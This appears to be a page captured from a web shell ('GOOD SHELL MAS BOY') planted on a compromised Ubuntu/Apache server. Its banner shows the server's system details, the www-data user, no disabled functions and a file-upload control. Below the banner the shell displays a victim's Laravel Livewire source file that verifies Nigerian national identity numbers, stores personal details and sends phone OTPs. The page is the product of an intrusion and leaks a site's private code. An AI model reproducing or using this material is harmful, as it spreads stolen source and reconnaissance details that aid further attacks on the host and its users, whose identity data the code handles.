GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/app/Livewire/Auth/NinRegistration.php
<?php

namespace App\Livewire\Auth;

use Livewire\Component;
use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Session;

class NinRegistration extends Component
{
    public $nationality_id;
    public $name;
    public $email;
    public $phone;
    public $last_name;
    public $middle_name;
    public $dob;
    public $gender;
    public $userId;
    public $nin;
    public function mount()
    {
        $user = Session::get("user");
        $this->nationality_id = $user['nationality_id'];
        $this->userId = $user['id'];
        $this->name = $user['name'];
        $this->email = $user['email'];
    }

    public function verifyNINOnly()
    {
        try {
            $this->validate([
                'nin' => 'required|digits:11',
            ]);
            $response = Http::post(ApiEndpoints::validateNIN(), [
                'nin' => $this->nin,
            ]);

            if ($response->successful()) {
                $data = $response->json()['body'];
                $this->name = $data['firstName'];
                $this->last_name = $data['lastName'];
                $this->middle_name = $data['middleName'];
                $this->dob = $data['dateOfBirth'];
                $this->gender = $data['gender'];
                $this->phone = $data['mobileNumber'];
                Session::put('user_phone', $data['mobileNumber']);
                $this->sendPhoneOtp();
                $this->updateSellerInfo();
                Session::flash('success', 'A 6-digit OTP has been sent to your phone number');
                return redirect()->to('/verify-phone');
            } else {
                throw new \Exception($response->json()['message']);
            }
        } catch (\Throwable $th) {
            $this->addError('nin', $th->getMessage());
            Session::flash('error', 'Failed to validate NIN: ' . $th->getMessage());
        }
    }

    private function sendPhoneOtp()
    {
        $body = [
            'phone' => $this->phone,
        ];
        $response = Http::post(ApiEndpoints::sendPhoneOtp(), $body);
        if ($response->successful()) {
            info('status '. $response->json()['message']);
            return $response->json()['message'];
        }
    }

    private function updateSellerInfo()
    {
        $body = [
            'user_id' => $this->userId,
            'name' => $this->name,
            'lastname' => $this->last_name,
            'middlename' => $this->middle_name,
            'dob' => $this->dob,
            'gender' => $this->gender,
            'nin' => $this->nin,
        ];
        $seller = DB::table('seller_nins')->updateOrInsert(
            ['user_id' => $this->userId],
            $body
        );
    }

    public function render()
    {
        return view('livewire.auth.nin-registration');
    }
}